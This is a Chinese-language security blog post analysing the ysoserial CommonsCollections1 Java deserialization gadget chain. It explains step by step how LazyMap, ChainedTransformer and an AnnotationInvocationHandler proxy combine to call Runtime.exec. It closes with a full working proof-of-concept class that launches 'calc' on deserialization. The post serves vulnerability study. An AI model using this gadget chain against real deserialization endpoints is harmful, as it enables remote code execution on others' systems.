freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

yso——CommonsCollections1分析
niknikni 2022-12-16 16:45:03 114008
所属地 广东省

CommonsCollections1

这里面会涉及到java的一些知识,比如Transformer、ChainedTransformer、动态代理,相关知识点在之前的文章里面

简化CommonsCollections1分析

Transformer链

我们先通过正常情况来分析ChainedTransformer、LazyMap、AnnotationInvocationHandler之间是如何构成链,造成命令执行

第一步构造了Transformer链,准备通过ChainedTransformer进行链式调用,关于这两个函数在反射章节已经讲过。
这里transformers第一条链的参数Runtime.class, 而不是Runtime.getRuntime,这是涉及到反序列化的操作,因为Runtime类没有实现Serializable,所以只能通过class一步步构造
image-20220807200126773.png

/**
         * 1、构成transformer利用链
         */
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

LazyMap.decorate和LazyMap.get

image-20220807203026336.png

/**
 * ? 如何调用ChainedTransformer.transform
 * layMap.get会执行this.factory.transform(key)
 * factory是由LazyMap.decorate静态方法传入
 * 2、生成layMap
 */

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

这里用到了LazyMap.decorate

  • 先来看为什么用LazyMap
    LazyMap的get方法调用了this.factory.transform(key),而this.factory又可以通过构造函数传进来,同时this.factory又是Transformer类型,这就符合我们的要求
    执行LazyMap.get == ChainedTransformer.transform

  • 关于decorate,我们可以看见LazyMap的构造函数是protected,不是public不能new,而decorate是静态方法并且能帮我们创建LazyMap对象
    image-20220807203253954.png

image-20220807203554373.png

image-20220807203440926.png

AnnotationInvocationHandler

如何调用 lazyMap.get

这里需要用到java的动态代理,关于动态代理的特性在java代理章节里面有讲
image-20220807204351305.png

/**
 * ? 如何调用 lazyMap.get
 * AnnotationInvocationHandler下面的invoke方法会执行this.memberValues.get(var4);
 * 同时这个 memberValues 是 final Map<String, Object>类型,并且 memberValues是在实例化的时候传进去的
 * 这和我们调用 lazyMap.get有什么关系,这要说到java的动态代理机制(具体内容请查看其知识点)以及为什么代理过后能去执行这个invoke
 * 自定义的 handler需要实现InvocationHandler,而 AnnotationInvocationHandler 又恰巧实现了 InvocationHandler, Serializable 接口
 *
 * 3、使用代理触发 lazyMap.get,创建 AnnotationInvocationHandler,该类不是 public,我们用反射来动态创建他
 * 并且创建代理要满足几个点:
 *  一个实现InvocationHandler类,用作代理执行的操作
 *  一个被代理的类
 * 3.1创建一个实现InvocationHandler类
 */
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler myInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

排除我们命令执行的要求,首先创建动态代理要准备一个代理handler,该类要实现InvocationHandler接口,还需准备一个要被代理的类

该类AnnotationInvocationHandler在jdk的jar包下面可找到,并且该类满足我们的需求:实现InvocationHandler接口,并且可以被序列化,光满足handler的要求还不行,还要想办法能去执行lazyMap.get方法

  • 构造函数里面允许传递一个map对象并保存为自身的成员变量memberValues,并且该构造方法不是public,如果我们要使用就需要用反射才能实例化他
    image-20220807204744546.png

  • 分析invoke方法看看能不能有机会去调用memberValues

第59行处this.memberValues.get(var4);是有调用的,在调用之前有一堆判断条件,这里先不急分析他的判断条件
首先我们找到符合要求的AnnotationInvocationHandler,而被代理的对象是map对象,为什么,因为被代理的类要去适配AnnotationInvocationHandler,该类不管是从构造函数还是invoke都是对map对象进行处理,这是显而易见的事情。
其次lazyMap在我们创建 AnnotationInvocationHandler的时候就已经传入进去作为他的成员变量,并且会在invoke方法里面去执行get方法,也就是说,后面只需要代理任意map对象,对其进行操作就会触发invoke从而执行lazyMap.get方法,形成一条链路
image-20220807205832960.png

AnnotationInvocationHandler invoke

完成代理的创建
下面就是正常创建动态代理的步骤
这时候我们随便调用一个方法,看看能不能触发invoke里面的lazyMap.get
image-20220807211846944.png

/**
         * 3.2生成一个被代理的类
         */
        final Map testMap = new HashMap();
        /**
         * 4 注册代理
         */

        Map evilMap = (Map) Proxy.newProxyInstance(
            testMap.getClass().getClassLoader(),
            testMap.getClass().getInterfaces(),
            myInvocationHandler
        );

能成功进行命令执行,并且AnnotationInvocationHandler里面invoke方法下的if,switch判断并没有对我们造成影响

image-20220807213108495.png

使用序列化方式触发

到这里成功了一半,别忘了我们要通过反序列化来执行,前面构造这么多都是为了反序列化做铺垫
反序列化对象还是用到AnnotationInvocationHandler类,可以看出这个类很强大,该类实现了Serializable,还重写了readObject,并且能看见在readObject的时候是有调用memberValues的,所以我们可以把memberValues设置为代理类,当调用entrySet方法时触发代理类的invoke方法。
image-20220807215221775.png

payload

package ysoserial.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.test.util.MySerialize;

import java.io.IOException;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {

    public static void main(String[] args) throws Exception {

        /**
         * 1、构成transformer利用链
         */
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);


        /**
         * ? 如何调用ChainedTransformer.transform
         * layMap.get会执行this.factory.transform(key)
         * factory是由LazyMap.decorate静态方法传入
         * 2、生成layMap
         */

        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        /**
         * ? 如何调用 lazyMap.get
         * AnnotationInvocationHandler下面的invoke方法会执行this.memberValues.get(var4);
         * 同时这个 memberValues 是 final Map<String, Object>类型,并且 memberValues是在实例化的时候传进去的
         * 这和我们调用 lazyMap.get有什么关系,这要说到java的动态代理机制(具体内容请查看其知识点)以及为什么代理过后能去执行这个invoke
         * 自定义的 handler需要实现InvocationHandler,而 AnnotationInvocationHandler 又恰巧实现了 InvocationHandler, Serializable 接口
         *
         * 3、使用代理触发 lazyMap.get,创建 AnnotationInvocationHandler,该类不是 public,我们用反射来动态创建他
         * 并且创建代理要满足几个点:
         *  一个实现InvocationHandler类,用作代理执行的操作
         *  一个被代理的类
         * 3.1创建一个实现InvocationHandler类
         */
        String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
        final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler myInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

        /**
         * 3.2生成一个被代理的类
         */
        final Map testMap = new HashMap();
        /**
         * 4 注册代理
         */

        Map evilMap = (Map) Proxy.newProxyInstance(
            testMap.getClass().getClassLoader(),
            testMap.getClass().getInterfaces(),
            myInvocationHandler
        );


        final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);

        byte[] serializeData= MySerialize.serialize(handler);
        MySerialize.unserialize(serializeData);


    }
}

细节

  • 为什么传给 ConstantTransformer 的是 Runtime.class,而不直接传入 Runtime.getRuntime()
    这是因为在 Java 反序列化中,需要反序列化的对象必须实现java.io.Serializable接口,而Runtime类并没有实现该接口,所以这里得用反射的方式获取Runtime对象,而 POC 当中的 Runtime.classjava.lang.Class对象,该类实现了java.io.Serializable接口。

  • 关于jdk版本问题
    在调试该利用链的时候 JDK 版本必须小于8u71,因为在之后的版本中AnnotationInvocationHandler:readObject已经被官方修改了。

  • 为什么构建AnnotationInvocationHandler类是用反射的方法
    因为AnnotationInvocationHandler的构造方法修饰符限制问题,该类正常调用时最多只能在同一个包中调用,所以用反射方法创建实例

  • 为什么AnnotationInvocationHandler创建两次实例
    一次是生成代理类,一次是生成反序列化对象,职责不太一样

Ysoserial CommonsCollections1 详细分析 - 知乎 (zhihu.com)

# web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 niknikni 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
niknikni LV.2
这家伙太懒了,还未填写个人描述!
  • 5 文章数
  • 6 关注者
新手友好,spring内存马学习篇二
2025-03-13
新手友好,spring内存马学习篇一
2025-03-10
Tomcat内存马分析
2025-01-21
文章目录